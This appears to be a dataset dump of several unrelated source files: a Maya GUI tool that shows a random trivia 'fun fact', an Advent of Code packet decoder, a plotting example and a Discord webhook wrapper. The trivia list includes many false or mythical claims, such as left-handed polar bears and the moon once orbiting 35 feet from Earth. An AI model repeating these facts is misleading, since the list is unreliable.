16777215))\n\n self.gridLayout.addWidget(self.btn_openSettings, 4, 1, 1, 1)\n\n MainWindow.setCentralWidget(self.centralwidget)\n\n self.retranslateUi(MainWindow)\n\n QMetaObject.connectSlotsByName(MainWindow)\n # setupUi\n\n def retranslateUi(self, MainWindow):\n MainWindow.setWindowTitle(QCoreApplication.translate(\"MainWindow\", u\"MainWindow\", None))\n self.label_title.setText(QCoreApplication.translate(\"MainWindow\", u\"Here's your daily fun fact!\", None))\n self.label_fun_fact.setText(QCoreApplication.translate(\"MainWindow\", u\"Fun Fact Goes Here\", None))\n self.btn_closeWindow.setText(QCoreApplication.translate(\"MainWindow\", u\"Close\", None))\n self.btn_openSettings.setText(QCoreApplication.translate(\"MainWindow\", u\"\\u2699\\ufe0f\", None))\n # retranslateUi\n\nclass Ui_settingsMainWindow(object): # compiled Ui_settingsMainWindow.ui\n def setupUi(self, settingsMainWindow):\n if not settingsMainWindow.objectName():\n settingsMainWindow.setObjectName(u\"settingsMainWindow\")\n settingsMainWindow.resize(508, 158)\n self.centralwidget = QWidget(settingsMainWindow)\n self.centralwidget.setObjectName(u\"centralwidget\")\n self.gridLayout = QGridLayout(self.centralwidget)\n self.gridLayout.setObjectName(u\"gridLayout\")\n self.gridLayout.setContentsMargins(18, 18, 18, 18)\n self.verticalSpacer_2 = QSpacerItem(20, 20, QSizePolicy.Minimum, QSizePolicy.Minimum)\n\n self.gridLayout.addItem(self.verticalSpacer_2, 0, 2, 1, 1)\n\n self.label = QLabel(self.centralwidget)\n self.label.setObjectName(u\"label\")\n self.label.setMinimumSize(QSize(250, 0))\n font = QFont()\n font.setPointSize(10)\n self.label.setFont(font)\n\n self.gridLayout.addWidget(self.label, 1, 0, 1, 2)\n\n self.settings_spinBox_threshold = QSpinBox(self.centralwidget)\n self.settings_spinBox_threshold.setObjectName(u\"settings_spinBox_threshold\")\n self.settings_spinBox_threshold.setMinimumSize(QSize(0, 32))\n self.settings_spinBox_threshold.setMinimum(1)\n self.settings_spinBox_threshold.setMaximum(24)\n self.settings_spinBox_threshold.setValue(10)\n\n self.gridLayout.addWidget(self.settings_spinBox_threshold, 1, 2, 1, 2)\n\n self.verticalSpacer = QSpacerItem(20, 20, QSizePolicy.Minimum, QSizePolicy.MinimumExpanding)\n\n self.gridLayout.addItem(self.verticalSpacer, 2, 2, 1, 1)\n\n self.settings_btn_save = QPushButton(self.centralwidget)\n self.settings_btn_save.setObjectName(u\"settings_btn_save\")\n self.settings_btn_save.setMinimumSize(QSize(0, 32))\n\n self.gridLayout.addWidget(self.settings_btn_save, 3, 1, 1, 1)\n\n self.settings_btn_closeWindow = QPushButton(self.centralwidget)\n self.settings_btn_closeWindow.setObjectName(u\"settings_btn_closeWindow\")\n self.settings_btn_closeWindow.setMinimumSize(QSize(0, 32))\n\n self.gridLayout.addWidget(self.settings_btn_closeWindow, 3, 2, 1, 1)\n\n settingsMainWindow.setCentralWidget(self.centralwidget)\n\n self.retranslateUi(settingsMainWindow)\n\n QMetaObject.connectSlotsByName(settingsMainWindow)\n # setupUi\n\n def retranslateUi(self, settingsMainWindow):\n settingsMainWindow.setWindowTitle(QCoreApplication.translate(\"settingsMainWindow\", u\"MainWindow\", None))\n self.label.setText(QCoreApplication.translate(\"settingsMainWindow\", u\"Time Between Facts (1-24 Hours)\", None))\n self.settings_btn_save.setText(QCoreApplication.translate(\"settingsMainWindow\", u\"Save\", None))\n self.settings_btn_closeWindow.setText(QCoreApplication.translate(\"settingsMainWindow\", u\"Close\", None))\n # retranslateUi\n \nsnippet = \"\"\"A crocodile cannot stick its tongue out.\nA shrimp's heart is in its head.\nThe \"sixth sick sheik's sixth sheep's sick\" is believed to be the toughest tongue twister in the English language.\nWearing headphones for just an hour could increase the bacteria in your ear by 700 times.\nSome lipsticks contain fish scales.\nCat urine glows under a black-light.\nRubber bands last longer when refrigerated.\nThere are 293 ways to make change for a dollar.\nA shark is the only known fish that can blink with both eyes.\n\"Dreamt\" is the only English word that ends in the letters \"mt\".\nAlmonds are a member of the peach family.\nMaine is the only state that has a one-syllable name.\nThere are only four words in the English language which end in \"dous\": tremendous, horrendous, stupendous, and hazardous.\nA cat has 32 muscles in each ear.\nAn ostrich's eye is bigger than its brain.\nTigers have striped skin, not just striped fur.\nIn many advertisements, the time displayed on a watch is 10:10.\nA dime has 118 ridges around the edge.\nThe giant squid has the largest eyes in the world.\n\"Stewardesses\" is the longest word that is typed with only the left hand.\nA blue whale's tongue is heavier than an elephant.\nA crab's taste buds are on their feet.\nOctopi have three hearts.\nThe American lobster can live to be 20 years old.\nNo two spot patterns on a whale shark are the same — they are as unique as fingerprints.\nThe United States has the fourth-longest water system in the world.\nAlaska is the state with the longest coastline.\nThe tallest monument in the United States is the Gateway Arch in St. Louis.\nKansas City, Missouri, has more fountains than any other city in the world besides Rome.\nTennessee and Missouri each share borders with eight states.\nAB negative is the rarest blood type.\nOn average, the human heart beats 100,000 times a day.\nThe strongest muscle in the body is the jaw.\nFingernails grow faster than toenails.\nThe average tongue is about three inches long.\nStrawberries and raspberries wear their seeds on the outside. \nPotatoes were the first vegetable to be grown in space. \nBananas are technically herbs. \nTomatoes are the most eaten fruit in the world. \nApples are in the rose family.\nDinosaur fossils have been found on all seven continents. \nThe dinosaur with the longest name is Micropachycephalosaurus.\nA Nigersaurus has an unusual skull containing as many as 500 slender teeth.\nSnakes, crocodiles and bees were just a few of the animals who lived alongside dinosaurs.\nBoth the width and the height of the Gateway Arch in St. Louis are 630 feet.\nThe Washington Monument is the tallest unreinforced stone masonry structure in the world.\nPresident Theodore Roosevelt is responsible for giving The White House its name.\nElvis Presley was one of the largest private donors to the Pearl Harbor memorial.\nThe longest tennis match lasted 11 hours and five minutes at Wimbledon in 2010.\nWomen first competed in the Olympic Games in 1900 in Paris.\nWrestling was the world's first sport.\nGolf is the only sport to be played on the moon.\nThe FIFA World Cup (soccer) is one of the most viewed sporting events on television.\nThe Empire State Building gets struck by lightning an average of 25 times a year.\nIn 1899, it was so cold that the Mississippi River froze.\nClouds can travel at more than 100 mph with the jet stream.\nHurricanes north of the Earth's equator spin counterclockwise.\nHurricanes south of the Earth's equator spin clockwise.\nAbraham Lincoln stood at 6 feet 4 inches making him one of the tallest U.S. presidents.\nBill Clinton has two Grammy Awards.\nThree of the nation's five founding fathers — John Adams, Thomas Jefferson and James Monroe — died on July 4th (Adams and Jefferson in 1826 and Monroe in 1831).\nThe shortest-serving president was William Henry Harrison, who was the ninth president of the United States for 31 days in 1841.\nFranklin D. Roosevelt is the only American president to have served more than two terms.\nTiger roars were used for The Lion King as lions weren't loud enough.\nWalt Disney World resort is about the same size as San Francisco.\nMickey Mouse was the first animated character to receive a star on the Hollywood Walk of Fame.\nPocahontas is the only Disney princess with a tattoo.\nDisney's Beauty and the Beast was the first animated film in history to be nominated for Best Picture at the Academy Awards.\nEars of corn generally have an even number of rows.\nAlthough Froot Loops cereal signature \"O's\" come in many colors, they're all the same flavor.\nApplesauce was the first food eaten in space.\nThe Caesar salad was born in Tijuana, Mexico.\nOne out of every four hazelnuts on the planet makes its way into a jar of Nutella.\nThe \"Guinness Book of World Records\" was first published in 1955.\nThe Simpsons is the longest-running animated television show (based on episodes).\nThe world's largest wedding cake weighed 15,032 pounds.\nAshrita Furman is the person with the most Guinness World Records titles.\nThe largest gathering of people dressed as Superman was 867, achieved by a group in the U.K.\nWombat Poop is Cubic.\nA Group of Flamingos is a Flamboyance.\nThe moon is moving away from the Earth at a tiny, although measurable, rate every year. 85 million years ago, it was orbiting the Earth about 35 feet from the planet's surface.\nThe star Antares is 60,000 times larger than our sun. If our sun were the size of a softball, the star Antares would be as large as a house.\nIn Calama, a town in the Atacama Desert of Chile, it has never rained.\nAt any given time, there are 1,800 thunderstorms in progress over the earth's atmosphere.\nErosion at the base of Niagara Falls has caused the falls to recede approximately seven miles over the past 10,000 years.\nA ten-year-old mattress weighs double what it did when it was new due to debris that it absorbs over time. That debris includes dust mites (their droppings and decaying bodies), mold, millions of dead skin cells, dandruff, animal and human hair, secretions, excretions, lint, pollen, dust, soil, sand, and a lot of perspiration, which the average person loses at a rate of a quart a day. Good night!\nEvery year, 16 million gallons of oil run off pavement into streams, rivers, and, eventually, oceans in the United States. This is more oil than was spilled by the Exxon Valdez.\nIn space, astronauts cannot cry because there is no gravity, and tears can't flow.\nMost lipstick contains fish scales.\nA \"jiffy\" is an actual unit of time: 1/100th of a second.\nIf you have three quarters, four dimes, and four pennies, you have $1.19. You also have the largest possible amount of money in coins without being able to make change for a dollar.\nLeonardo Da Vinci invented scissors.\nRecycling one glass jar saves enough energy to operate a television for three hours.\nThe cigarette lighter was invented before the match.\nThe main library at Indiana University sinks over an inch a year. When it was designed, engineers failed to take into account the weight of all the books that would occupy the building.\nA category three hurricane releases more energy in ten minutes than all the world's nuclear weapons combined.\nThere is enough fuel in a full jumbo jet tank to drive an average car four times around the world.\nAn average of 100 people choke to death on ballpoint pens every year.\nAntarctica is the only continent without reptiles or snakes.\nThe cruise liner Queen Elizabeth 2 moves only six inches for each gallon of fuel it burns.\nSan Francisco cable cars are the only National Monuments that can move.\nFebruary 1865 is the only month in recorded history not to have a full moon.\nNutmeg is extremely poisonous if injected intravenously.\nA rainbow can be seen only in the morning or late afternoon. It can occur only when the sun is 40 degrees or less above the horizon.\nLightning strikes the Earth 100 times every second.\nLa Paz, Bolivia, has an average annual temperature below 50 degrees Fahrenheit. However, it has never recorded a zero-degree temperature. Same for Stanley, the Falkland Islands, and Punta Arenas, Chile.\nThere are over 87,000 Americans on waiting lists for organ transplants.\nCatsup leaves the bottle at a rate of 25 miles per year.\nToxic house plants poison more children than household chemicals do.\nYou are more likely to be infected by flesh-eating bacteria than you are to be struck by lightning.\nAccording to Genesis 1:20-22, the chicken came before the egg.\nWhen opossums are \"playing 'possum,'\" they are not playing. They actually pass out from sheer terror.\nThe two-foot-long bird called a Kea that lives in New Zealand likes to eat the strips of rubber around car windows.\nSnakes are true carnivores as they eat nothing but other animals. They do not eat any type of plant material.\nThe Weddell seal can travel underwater for seven miles without surfacing for air.\nAn iguana can stay underwater for 28 minutes.\nHorses can't vomit.\nA crocodile cannot stick its tongue out.\nButterflies taste with their feet.\nPenguins can jump as high as six feet in the air.\nAll polar bears are left-handed.\nAn eagle can kill a young deer and fly carrying it.\nThe leg bones of a bat are so thin that no bat can walk.\nThe katydid bug hears through holes in its hind legs.\nSlugs have four noses.\nOstriches stick their heads in the sand to look for water.\nIn a study of 200,000 ostriches over a period of 80 years, there were no reported cases of an ostrich burying its head in the sand.\nIt's possible to lead a cow upstairs but not downstairs.\nA shrimp's heart is in its head.\nA snail can sleep for three years.\nThe chicken is one of the few things that man eats before it's born and after it's dead.\nA pregnant goldfish is called a twit.\nRats multiply so quickly that in 18 months, two rats could have over a million descendants.\nThere are only three types of snakes on the island of Tasmania and all three are deadly poisonous.\nIt is physically impossible for pigs to look up into the sky.\nDolphins sleep with one eye open.\nA goldfish has a memory span of three seconds.\nA shark is the only fish that can blink with both eyes.\nEmus and kangaroos cannot walk backwards and are on the Australian coat of arms for that reason.\nThe jellyfish is 95% water.\nA hippo can open its mouth wide enough to fit a 4-foot-tall child inside.\nOnly female mosquitoes bite.\nMost elephants weigh less than the tongue of the blue whale.\nThe microwave was invented after a researcher walked by a radar tube and the chocolate bar in his pocket melted.\n23% of all photocopier faults worldwide are caused by people sitting on them and photocopying their butts.\n\"Stewardesses\" is the longest word that is typed using only the left hand.\n71% of office workers stopped on the street for a survey agreed to give up their computer passwords in exchange for a chocolate bar.\nThe electric chair was invented by a dentist.\nA Boeing 767 airliner is made of 3,100,000 separate parts.\nThe first FAX machine was patented in 1843, 33 years before Alexander Graham Bell demonstrated the telephone.\nHershey's Kisses are called that because the machine that makes them looks like it's kissing the conveyor belt.\n\"Typewriter\" is the longest word that can be made using the keys on only one row of the keyboard.\nIn 1980, there was only one country in the world with no telephones: Bhutan.\nMore than 50% of the people in the world have never made or received a telephone call.\nMontpelier, Vermont, is the only U.S. state capital without a McDonalds.\nThere is a bar in London that sells vaporized vodka, which is inhaled instead of sipped.\nIn the White House, there are 13,092 knives, forks, and spoons.\nAmericans, on average, eat 18 acres of pizza every day.\nCoca-Cola was originally green.\nThe only food that does not spoil: honey.\nThe Pilgrims ate popcorn at the first Thanksgiving dinner.\nIceland consumes more Coca-Cola per capita than any other nation.\nAlmonds are members of the peach family.\nCranberry is the only Jell-O flavor that contains real fruit flavoring.\nThe drive-through line on opening day at the McDonald's restaurant in Kuwait City, Kuwait, was seven miles long at its peak.\nAmerican Airlines saved $40,000 in 1987 by eliminating one olive from each salad served first class.\nCelery has negative calories! It takes more calories to eat a piece of celery than the celery has in it to begin with.\nThe average American drinks about 600 sodas per year.\nMailmen in Russia now carry revolvers after a recent decision by the government.\nOne out of five people in the world (1.1 billion people) live on less than $1 per day.\nQuebec City, Canada, has about as much street crime as Disney World.\nThe largest ocean liners pay a $250,000 toll for each trip through the Panama Canal. The canal generates fully one-third of Panama's entire economy.\nIn every episode of Seinfeld, there is a Superman somewhere.\nThe Spanish word esposa means \"wife.\" The plural, esposas, means \"wives,\" but also \"handcuffs.\"\nCity with the most Rolls Royces per capita: Hong Kong.\nOf the six men who made up the Three Stooges, three of them were real brothers (Moe, Curly and Shemp).\nIf Barbie were life-size, her measurements would be 39-23-33. She would stand 7 feet, 2 inches tall.\nOn average, people fear spiders more than they do death.\nThirty-five percent of the people who use personal ads for dating are already married.\nIn Tokyo, you can buy a toupee for your dog.\nA dime has 118 ridges around the edge.\"\"\"\n\nclass ValidationError(Exception):\n pass\n\ndef last_launched_threshold() -> bool: # parse last_launched time and see if threshold is met\n\n # Get Current Working Directory\n # script_directory passed from userSetup!\n\n # Set Absolute path to the JSON file using forward slashes\n datetime_json_path = os.path.join(script_directory, 'yourDailyFunFact_DB.json')\n\n ###\n ###\n # Parse stored_time && stored_threshold data\n try:\n with open(datetime_json_path, \"r\") as json_file:\n data = json.load(json_file)\n\n stored_time = data[\"stored_time\"] # STORED TIME DATA\n data[\"stored_threshold\"] = int(data[\"stored_threshold\"])\n stored_threshold = data[\"stored_threshold\"] # STORED THRESHOLD DATA\n\n except (FileNotFoundError, json.decoder.JSONDecodeError):\n raise ValidationError(f'Unable to load the JSON file.')\n \n # get current time\n current_time = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n print(f'Current Time: {current_time} --- Stored Time: {stored_time}')\n\n # compare current against stored time\n current_time_int = datetime.datetime.strptime(current_time, \"%Y-%m-%d %H:%M:%S\")\n stored_time_int = datetime.datetime.strptime(stored_time, \"%Y-%m-%d %H:%M:%S\")\n time_difference = current_time_int - stored_time_int\n # set time_threshold value using stored_threshold DB\n time_threshold = datetime.timedelta(hours=stored_threshold)\n\n # if less than time_threshold, do not launch\n if time_difference < time_threshold:\n print(f'Time difference is LESS than {time_threshold}')\n return False \n else:\n # if greater than 4 hour difference, launch and rewrite\n print(f'Time difference is GREATER than {time_threshold}')\n\n # Prevent Overwriting entire DB\n data[\"stored_time\"] = current_time\n # Update stored_time in the JSON file\n with open(datetime_json_path, \"w\") as json_file:\n json.dump(data, json_file, indent=4) # The indent parameter adds pretty-printing for better readability\n # print(\"Updated stored_time in path: \", datetime_json_path)\n return True\n \ndef get_random_fact(snippet: str) -> str: # organize snippet into list and randomly select a fact\n\n # Split Snippet Lines and append into List\n lines = snippet.splitlines()\n list_of_facts = []\n for line in lines:\n list_of_facts.append(line)\n\n # return a randomly selected List Item\n random_fact = random.choice(list_of_facts)\n return random_fact\n\nclass yourDailyFunFact(QtWidgets.QMainWindow): # QMainWindow for Tool\n \"\"\"\n Create a default tool window.\n \"\"\"\n window = None\n \n def __init__(self, my_random_fact, parent = None):\n \"\"\"\n Initialize class.\n \"\"\"\n super(yourDailyFunFact, self).__init__(parent = parent)\n\n # Set window flags to create a standalone window\n self.setWindowFlags(QtCore.Qt.Window)\n\n self.mainWidget = Ui_MainWindow()\n self.mainWidget.setupUi(self) # Set up the UI within this widget\n\n # Set initial Window Size\n self.resize(577, 210)\n\n ###\n ###\n # find interactive elements of UI\n \n self.label_fun_fact = self.findChild(QtWidgets.QLabel, 'label_fun_fact')\n self.btn_closeWindow = self.findChild(QtWidgets.QPushButton, 'btn_closeWindow')\n self.btn_openSettings = self.findChild(QtWidgets.QPushButton, 'btn_openSettings')\n\n ###\n ###\n # assign clicked handler to buttons\n self.btn_closeWindow.clicked.connect(self.closeWindow)\n self.btn_openSettings.clicked.connect(self.openSettings)\n\n # Set label_fun_fact Text \n self.label_fun_fact.setText(my_random_fact)\n\n # Resize mainWidget Window to fit dynamic text \n content_size = self.sizeHint()\n self.resize(content_size.width() * 1.2, content_size.height() * 1.2)\n\n def openSettings(self):\n\n openSettingsWindow()\n \n def closeWindow(self):\n \"\"\"\n Close window.\n \"\"\"\n # Check if settingsWindow is open/instance is created, if so, destroy window along with mainWindow\n if QtWidgets.QApplication.instance():\n # Id any current instances of tool and destroy\n for win in (QtWidgets.QApplication.allWindows()):\n if 'settingsWindow' in win.objectName(): # update this name to match name below\n win.destroy()\n\n # Destroy mainWindow\n print ('closing window')\n self.destroy()\n\nclass settingsWindow(QtWidgets.QMainWindow): # QMainWindow for Settings \n \"\"\"\n Create a default tool window.\n \"\"\"\n window = None\n \n def __init__(self, parent = None):\n \"\"\"\n Initialize class.\n \"\"\"\n super(settingsWindow, self).__init__(parent = parent)\n\n # Set window flags to create a standalone window\n self.setWindowFlags(QtCore.Qt.Window)\n\n self.mainWidget = Ui_settingsMainWindow()\n self.mainWidget.setupUi(self) # Set up the UI within this widget\n\n # Set initial Window Size\n self.resize(600, 150) # Set the size to match your .ui file dimensions\n\n ###\n ###\n # find interactive elements of UI\n\n self.settings_spinBox_threshold = self.findChild(QtWidgets.QSpinBox, 'settings_spinBox_threshold')\n\n self.settings_btn_save = self.findChild(QtWidgets.QPushButton, 'settings_btn_save')\n self.settings_btn_closeWindow = self.findChild(QtWidgets.QPushButton, 'settings_btn_closeWindow')\n \n ###\n ###\n # assign clicked handler to buttons\n\n self.settings_btn_save.clicked.connect(self.saveSettings)\n self.settings_btn_closeWindow.clicked.connect(self.closeWindow)\n \n ###\n ###\n # Parse stored Threshold and Update settings_spinBox_threshold\n\n # Get Current Working Directory\n # script_directory passed from userSetup!\n\n # Set Absolute path to the JSON file using forward slashes\n datetime_json_path = os.path.join(script_directory, 'yourDailyFunFact_DB.json')\n\n # retrieve stored time in json\n try:\n with open(datetime_json_path, \"r\") as json_file:\n data = json.load(json_file)\n \n # Convert the \"stored_threshold\" value to an integer\n data[\"stored_threshold\"] = int(data[\"stored_threshold\"])\n stored_threshold = data[\"stored_threshold\"]\n\n except (FileNotFoundError, json.decoder.JSONDecodeError):\n raise ValidationError(f'Unable to load the JSON file.')\n\n self.settings_spinBox_threshold.setValue(stored_threshold)\n\n def saveSettings(self):\n\n # Get Current Working Directory\n # script_directory passed from userSetup!\n\n # Set Absolute path to the JSON file using forward slashes\n datetime_json_path = os.path.join(script_directory, 'yourDailyFunFact_DB.json')\n\n # retrieve stored time in json\n try:\n with open(datetime_json_path, \"r\") as json_file:\n data = json.load(json_file)\n except (FileNotFoundError, json.decoder.JSONDecodeError):\n raise ValidationError(f'Unable to load the JSON file.')\n\n current_threshold = self.settings_spinBox_threshold.value()\n\n # Prevent Overwriting entire DB\n data[\"stored_threshold\"] = current_threshold\n\n # Update stored_time in the JSON file\n with open(datetime_json_path, \"w\") as json_file:\n json.dump(data, json_file, indent=4) # The indent parameter adds pretty-printing for better readability\n\n self.destroy()\n\n def closeWindow(self):\n \"\"\"\n Close window.\n \"\"\"\n self.destroy()\n \ndef openMainWindow(my_random_fact): # Called inside run() to open GUI\n \"\"\"\n ID Maya and attach tool window.\n \"\"\"\n # Maya uses this so it should always return True\n if QtWidgets.QApplication.instance():\n # Id any current instances of tool and destroy\n for win in (QtWidgets.QApplication.allWindows()):\n if 'myMainWindow' in win.objectName(): # update this name to match name below\n win.destroy()\n\n #QtWidgets.QApplication(sys.argv)\n mayaMainWindowPtr = omui.MQtUtil.mainWindow()\n mayaMainWindow = wrapInstance(int(mayaMainWindowPtr), QtWidgets.QWidget)\n yourDailyFunFact.window = yourDailyFunFact(my_random_fact, parent = mayaMainWindow)\n yourDailyFunFact.window.setObjectName('myMainWindow') # code above uses this to ID any existing windows\n yourDailyFunFact.window.setWindowTitle('Your Daily Fun Fact')\n yourDailyFunFact.window.show()\n\ndef openSettingsWindow(): # Called inside yourDailyFunFact instance to open Settings\n \"\"\"\n ID Maya and attach tool window.\n \"\"\"\n # Maya uses this so it should always return True\n if QtWidgets.QApplication.instance():\n # Id any current instances of tool and destroy\n for win in (QtWidgets.QApplication.allWindows()):\n if 'settingsWindow' in win.objectName(): # update this name to match name below\n win.destroy()\n\n #QtWidgets.QApplication(sys.argv)\n mayaMainWindowPtr = omui.MQtUtil.mainWindow()\n mayaMainWindow = wrapInstance(int(mayaMainWindowPtr), QtWidgets.QWidget)\n settingsWindow.window = settingsWindow(parent = mayaMainWindow)\n settingsWindow.window.setObjectName('settingsWindow') # code above uses this to ID any existing windows\n settingsWindow.window.setWindowTitle('Your Daily Fun Fact Settings')\n settingsWindow.window.show()\n \ndef run():\n if last_launched_threshold():\n my_random_fact = get_random_fact(snippet)\n openMainWindow(my_random_fact)\n\nif __name__ == \"__main__\":\n run()\n\n\n","repo_name":"BlakeXYZ/Maya-Tools","sub_path":"_your_daily_fun_fact/yourDailyFunFact.py","file_name":"yourDailyFunFact.py","file_ext":"py","file_size_in_byte":30720,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"17909568724","text":"import operator\nfrom collections import namedtuple\nimport math\n\n\nPacket = namedtuple(\"Packet\", (\"version\", \"id\", \"value\", \"sub_packets\"))\n\n\ndef prepare_input(file):\n return file.read().strip()\n\n\ndef to_binary(_hex):\n return bin(int('1' + _hex, 16))[3:]\n\n\ndef to_decimal(_binary):\n return int(_binary, 2)\n\n\ndef calculate_literal_packet(binary):\n if binary[0] == \"0\":\n return binary[1:5], 5\n return tuple(map(operator.add, (binary[1:5], 5), calculate_literal_packet(binary[5:])))\n\n\ndef get_sub_packets_by_length(binary, i):\n values = []\n offset = 15\n length_of_packets = to_decimal(binary[i:i + offset])\n i += offset\n current_length = 0\n while current_length < length_of_packets:\n value, temp_i = calculate_packet(binary, i)\n values.append(value)\n current_length += temp_i - i\n i = temp_i\n\n return values, i\n\n\ndef get_sub_packets_by_number(binary, i):\n values = []\n offset = 11\n number_of_packets = to_decimal(binary[i:i + offset])\n i += offset\n current_packet = 0\n while current_packet < number_of_packets:\n value, i = calculate_packet(binary, i)\n values.append(value)\n current_packet += 1\n\n return values, i\n\n\ndef calculate_value(_id, sub_packets):\n value = 0\n if _id == 0:\n value = 0\n for sub_packet in sub_packets:\n value += sub_packet.value\n elif _id == 1:\n value = 1\n for sub_packet in sub_packets:\n value *= sub_packet.value\n elif _id == 2:\n value = math.inf\n for sub_packet in sub_packets:\n if value > sub_packet.value:\n value = sub_packet.value\n elif _id == 3:\n value = -1\n for sub_packet in sub_packets:\n if value < sub_packet.value:\n value = sub_packet.value\n else:\n first_sub_packet = sub_packets[0]\n second_sub_packet = sub_packets[1]\n if _id == 5:\n if first_sub_packet.value > second_sub_packet.value:\n value = 1\n else:\n value = 0\n if _id == 6:\n if first_sub_packet.value < second_sub_packet.value:\n value = 1\n else:\n value = 0\n if _id == 7:\n if first_sub_packet.value == second_sub_packet.value:\n value = 1\n else:\n value = 0\n\n return value\n\n\ndef calculate_packet(binary, i):\n version = to_decimal(binary[i:i+3])\n _id = to_decimal(binary[i + 3:i + 6])\n i += 6\n if _id == 4:\n value, temp_i = calculate_literal_packet(binary[i:])\n i += temp_i\n return Packet(version, _id, to_decimal(value), []), i\n else:\n length_type = binary[i]\n i += 1\n if length_type == \"0\":\n sub_packets, i = get_sub_packets_by_length(binary, i)\n else:\n sub_packets, i = get_sub_packets_by_number(binary, i)\n\n value = calculate_value(_id, sub_packets)\n\n return Packet(version, _id, value, sub_packets), i\n\n\ndef sum_versions(packet):\n total = packet.version\n for sub_packet in packet.sub_packets:\n total += sum_versions(sub_packet)\n return total\n\n\ndef part_one(_hex):\n binary = to_binary(_hex)\n outer_packet = calculate_packet(binary, 0)[0]\n return sum_versions(outer_packet)\n\n\ndef part_two(_hex):\n binary = to_binary(_hex)\n outer_packet = calculate_packet(binary, 0)[0]\n return outer_packet.value\n\n\nif __name__ == '__main__':\n with open('input.txt', 'r') as f:\n _input = prepare_input(f)\n\n answer1 = part_one(_input)\n print(\"Part one:\")\n print(\"Answer: {}\".format(int(answer1)))\n print()\n answer2 = part_two(_input)\n print(\"Part two:\")\n print(\"Answer: {}\".format(int(answer2)))\n","repo_name":"jernejjanez/advent-of-code","sub_path":"2021/day-16/day16.py","file_name":"day16.py","file_ext":"py","file_size_in_byte":3779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24258092491","text":"from secml.array import CArray\nfrom secml.figure import CFigure\n\nfig = CFigure(fontsize=12)\n\nn = 12\nX = CArray.arange(n)\nY1 = (1 - X / float(n)) * (1.0 - 0.5) * CArray.rand((n,)) + 0.5\nY2 = (1 - X / float(n)) * (1.0 - 0.5) * CArray.rand((n,)) + 0.5\n\nfig.sp.xticks([0.025, 0.025, 0.95, 0.95])\nfig.sp.bar(X, Y1, facecolor='#9999ff', edgecolor='white')\nfig.sp.bar(X, -Y2, facecolor='#ff9999', edgecolor='white')\n\nfor x, y in zip(X, Y1):\n fig.sp.text(x, y, '%.2f' % y, ha='center', va='bottom')\n\nfor x, y in zip(X, Y2):\n fig.sp.text(x, -y - 0.02, '%.2f' % y, ha='center', va='top')\n\nfig.sp.xlim(-.5, n-.5)\nfig.sp.xticks(())\nfig.sp.ylim(-1.25, 1.25)\nfig.sp.yticks(())\n\nfig.sp.grid()\nfig.show()\n","repo_name":"pralab/secml","sub_path":"docs/source/pyplots/bar.py","file_name":"bar.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":126,"dataset":"github-code","pt":"31"} +{"seq_id":"42044033551","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom .api import HTTPClient, Route\nfrom .embed import Embed\nfrom .enums import WebhookType\nfrom .guild import Guild\nfrom .missing import MISSING, Maybe, MissingEnum\nfrom .snowflake import Snowflake\nfrom .types import Webhook as DiscordWebhook\nfrom .user import User\nfrom .utils import remove_undefined\n\nif TYPE_CHECKING:\n from .state import State\n\n\nclass Webhook:\n def __init__(self, id: int, token: str) -> None:\n self.id = Snowflake(id)\n self.token = token\n self._http = HTTPClient()\n\n async def send(\n self,\n content: str | MissingEnum = MISSING,\n username: str | MissingEnum = MISSING,\n tts: bool | MissingEnum = MISSING,\n embeds: list[Embed] | MissingEnum = MISSING,\n sticker_ids: list[Snowflake] | MissingEnum = MISSING,\n flags: int | MissingEnum = MISSING,\n ):\n await self.execute(\n content=content,\n username=username,\n tts=tts,\n embeds=embeds,\n sticker_ids=sticker_ids,\n flags=flags,\n )\n\n async def execute(\n self,\n content: str | MissingEnum = MISSING,\n username: str | MissingEnum = MISSING,\n tts: bool | MissingEnum = MISSING,\n embeds: list[Embed] | MissingEnum = MISSING,\n sticker_ids: list[Snowflake] | MissingEnum = MISSING,\n flags: int | MissingEnum = MISSING,\n ):\n if embeds is not MISSING:\n embeds = [embed._to_data() for embed in embeds]\n\n return await self._http.request(\n 'POST',\n Route(\n '/webhooks/{webhook_id}/{webhook_token}',\n webhook_id=self.id,\n webhook_token=self.token,\n ),\n data=remove_undefined(\n content=content,\n embeds=embeds,\n username=username,\n tts=tts,\n sticker_ids=sticker_ids,\n flags=flags,\n ),\n )\n\n\nclass GuildWebhook:\n def __init__(self, data: DiscordWebhook, state: State) -> None:\n self.id: Snowflake = Snowflake(data['id'])\n self.type: WebhookType = WebhookType(data['type'])\n self.guild_id: Snowflake | None | MissingEnum = (\n Snowflake(data['guild_id'])\n if data.get('guild_id') is not None\n else data.get('guild_id', MISSING)\n )\n self.channel_id: Snowflake | None | MissingEnum = (\n Snowflake(data['channel_id'])\n if data.get('channel_id') is not None\n else None\n )\n self.user: User | MissingEnum = (\n User(data['user'], state) if data.get('user') is not None else MISSING\n )\n self.name: str | None = data['name']\n self._avatar: str | None = data['avatar']\n self.token: str | MissingEnum = data.get('token', MISSING)\n self.application_id: Snowflake | None = (\n Snowflake(data['application_id'])\n if data.get('application_id') is not None\n else None\n )\n self.source_guild: Guild | MissingEnum = (\n Guild(data['source_guild'], state)\n if data.get('source_guild') is not None\n else MISSING\n )\n self.url: str | MissingEnum = data.get('url', MISSING)\n","repo_name":"Pycord-Development/pycord-v3","sub_path":"pycord/webhook.py","file_name":"webhook.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"31"} +{"seq_id":"8408894855","text":"#!/usr/bin/env python3\nimport sys\nimport matplotlib.pyplot as plt\n\nx = []\ny = []\n\nfor line in sys.stdin:\n line = line.split(\" \")\n (i, t, f, a, b) = [float(s) for s in line]\n x.append(i)\n y.append(f)\n\n# Scatter plot on top of lines\nplt.plot(x, y, 'r', zorder=1, lw=1)\nplt.scatter(x, y, s=1, zorder=2)\nplt.title('Cost X Iteration')\n\nplt.show()\n","repo_name":"aeliton/cut2d-sa","sub_path":"temperature-plotter.py","file_name":"temperature-plotter.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35281007801","text":"# -*- coding: utf-8 